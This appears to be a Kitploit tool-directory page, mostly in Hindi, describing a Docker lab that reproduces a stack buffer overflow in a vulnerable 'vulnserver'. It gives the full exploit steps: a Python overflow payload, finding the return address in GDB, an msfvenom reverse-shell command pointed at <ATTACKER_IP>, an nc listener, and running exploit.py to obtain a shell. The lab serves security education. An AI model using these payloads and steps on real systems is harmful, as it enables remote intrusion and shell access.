Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-22457-vulnserver-lab — CVE-2025-22457 को पुनः उत्पन्न करने वाली प्रयोगात्मक लैब: Docker हमलावर/पीड़ित कंटेनर सेट अप करती है, GDB के साथ स्टैक पते ढूँढती है, और एक msfvenom रिवर्स शेल एक्सप्लॉइट प्रदान करती है। | Kitploit
उपकरण/GitHubGitHub/donofly/cve-2025-22457-vulnserver-lab
पेलोड जनरेशनभेद्यता विश्लेषणशोषणशेलकोडCTFपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षाबाइनरी शोषणलैब और अभ्यास

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
GitHubdonofly/cve-2025-22457-vulnserver-lab

CVE-2025-22457-vulnserver-lab

CVE-2025-22457 को पुनः उत्पन्न करने वाली प्रयोगात्मक लैब: Docker हमलावर/पीड़ित कंटेनर सेट अप करती है, GDB के साथ स्टैक पते ढूँढती है, और एक msfvenom रिवर्स शेल एक्सप्लॉइट प्रदान करती है।

रिपॉजिटरी देखें
1527 दिन पहलेअभी तक समीक्षित नहीं
साझा करें

step 1 environment setting

अनुमतियाँ और स्क्रिप्ट निष्पादन

यदि आप Windows का उपयोग कर रहे हैं, तो आप wsl खोलकर निष्पादित कर सकते हैं

chmod +x setup_environment.sh
./setup_environment.sh

step 2: गतिशील मान खोजना (मैन्युअल चरण आवश्यक)

चूंकि मेमोरी पते और IP विभिन्न वातावरणों में गतिशील होते हैं, उन्हें मैन्युअल रूप से खोजना और exploit.py स्क्रिप्ट को अपडेट करना आवश्यक है।

2.0 पहले दो attacker docker और एक victim docker खोलें ताकि आगे की तैयारी की जा सके

docker exec -it atac /bin/bash
docker exec -it vic /bin/bash

2.1 stack_address (वापसी पता) खोजना

इस चरण का लक्ष्य एक स्थिर स्टैक पता खोजना है ताकि हमारा payload सटीक रूप से कूद सके।

1. victim docker में GDB प्रारंभ करें
gdb ./vulnserver
2. strcpy फ़ंक्शन के बाद ब्रेकपॉइंट सेट करें
(gdb) b strcpy
3. प्रोग्राम चलाएं, vulnserver सुनना शुरू करता है
(gdb) run

ब्रेकपॉइंट ट्रिगर करें: attacker docker का उपयोग करके, एक परीक्षण payload भेजने के लिए निम्नलिखित कमांड निष्पादित करें। यह GDB को ब्रेकपॉइंट पर रोक देगा। ध्यान दें: कृपया <VICTIM_IP> को चरण एक में दिखाए गए Victim IP से बदलें।

python3 -c 'import socket; s = socket.socket(); s.connect(("<VICTIM_IP>", 9999)); s.send(b"A"*516 + b"BBBB" + b"C"*300); s.close()'

पता खोजें और रिकॉर्ड करें: GDB वाले टर्मिनल विंडो पर वापस जाएं, प्रोग्राम रुक जाना चाहिए। स्टैक की जांच करने के लिए निम्नलिखित कमांड निष्पादित करें:

(gdb) x/200wx $esp

आउटपुट में, 0x43434343 ('C' का प्रतिनिधित्व) से बने क्षेत्र को खोजें। इस क्षेत्र के बीच से कोई भी पता चुनें (उदाहरण के लिए 0xffffd580) और इसे कॉपी करें। यही stack_address है।

2.2 exploit.py अपडेट करें और buf (Shellcode) जनरेट करें

stack_address अपडेट करें:

टेक्स्ट एडिटर का उपयोग करके exploit.py में stack_address को अभी कॉपी किए गए address से अपडेट करें

buf (Shellcode) जनरेट और अपडेट करें:

attacker कंटेनर के shell में, shellcode जनरेट करने के लिए msfvenom कमांड निष्पादित करें। ध्यान दें: कृपया <ATTACKER_IP> को चरण एक में दिखाए गए Attacker IP से बदलें।

msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -b '\x00' -f python

msfvenom के आउटपुट से पूरे buf = b""... कोड को कॉपी करें, और इसका उपयोग exploit.py फ़ाइल में मौजूदा buf वेरिएबल भाग को पूरी तरह से बदलने के लिए करें।

step 3 : हमला निष्पादित करें

लिसनर प्रारंभ करें: attacker कंटेनरों में से एक के shell विंडो में, netcat लिसनर प्रारंभ करने के लिए निम्नलिखित कमांड निष्पादित करें।

nc -lvnp 4444

victim कनेक्शन खोलें:

निम्नलिखित दो विधियों का उपयोग किया जा सकता है विधि एक

./vulnserver

विधि दो

gdb ./vulnserver
gef➤  run

हमला स्क्रिप्ट निष्पादित करें: attacker docker में अपडेट की गई exploit.py चलाएं। (ध्यान दें: कृपया <victim_ip> को चरण एक में दिखाए गए victim ip से अपडेट करें)

python3 exploit.py <victim_ip>

परिणाम सत्यापित करें: netcat लिसनर वाली विंडो पर वापस स्विच करें। यदि सब कुछ ठीक रहा, तो आप एक कनेक्शन स्थापित होते हुए देख सकते हैं और एक इंटरैक्टिव shell प्राप्त कर सकते हैं। आप सत्यापित करने के लिए whoami, ls -la आदि कमांड दर्ज कर सकते हैं।

step 4 : वातावरण साफ़ करें

GDB और कंटेनर से बाहर निकलें:
GDB में quit दर्ज करें, फिर कंटेनर shell में exit दर्ज करें।

सभी कंटेनर और नेटवर्क को बंद और साफ़ करने के लिए निम्नलिखित कमांड निष्पादित करें।

docker stop vic atac
docker network rm 111550082_net
टूल डाउनलोड करें